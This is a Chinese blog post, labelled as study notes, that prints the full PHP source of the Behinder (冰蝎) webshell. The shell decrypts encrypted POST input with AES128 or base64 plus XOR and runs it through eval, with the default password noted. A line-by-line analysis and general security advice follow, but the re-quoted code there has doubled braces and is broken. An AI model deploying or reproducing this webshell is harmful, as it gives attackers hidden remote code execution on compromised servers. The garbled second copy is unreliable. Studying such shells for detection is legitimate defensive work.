声明: 本博文,只是基于学习进行记录。
冰蝎源码
<?php
@error_reporting(0);
session_start();
$key="密钥"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
代码功能概述
这段PHP代码的主要功能是通过加密和解密的方式,接收外部输入并执行相应的PHP代码。代码中使用了AES128加密算法或Base64编码与异或运算的组合来处理输入数据,并通过eval函数执行解密后的代码。
代码安全性分析
1.隐藏错误报告:(会话关闭)
@error_reporting(0);
这行代码关闭了错误报告,可能会隐藏潜在的安全问题或错误信息,使得调试和检测恶意行为变得更加困难。
2.会话管理:(会话启动)
session_start();
$key="密钥"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
这里使用了会话来存储密钥,但密钥是硬编码的,这可能会导致安全问题,尤其是在多用户环境中。
3.输入处理:
$post=file_get_contents("php://input");
通过php://input获取POST数据,这种方式可以接收原始的POST数据,但也可能被用于注入恶意代码。
4.加密与解密:
if(!extension_loaded('openssl'))
{{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {{
$post[$i] = $post[$i]^$key[$i+1&15];
}}
}}
else
{{
$post=openssl_decrypt($post, "AES128", $key);
}}
如果OpenSSL扩展可用,则使用AES128解密;否则,使用Base64解码和异或运算来解密数据。这种处理方式可能会被攻击者利用来注入恶意代码。
5.代码执行:
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{{public function __invoke($p) {{eval($p."");}}}}
@call_user_func(new C(),$params);
通过eval函数执行解密后的代码,这种方式非常危险,因为它允许任意代码执行,可能导致严重的安全漏洞。
安全建议
避免使用eval: eval函数允许执行任意代码,极易导致安全漏洞。建议使用更安全的替代方案,如预定义的函数或方法。
加强输入验证: 对所有输入数据进行严格的验证和过滤,避免恶意代码注入。
使用安全的加密方式: 确保使用经过验证的加密算法和库,避免自定义的加密方式,因为它们可能存在漏洞。
启用错误报告: 在开发和测试环境中启用错误报告,以便及时发现和修复问题。
避免硬编码密钥: 密钥应存储在安全的地方,如环境变量或配置文件中,并进行适当的保护。
标签:eval,代码,解密,密钥,木马,红蓝,post,错误报告,护网 From: https://blog.csdn.net/m0_62828084/article/details/143065752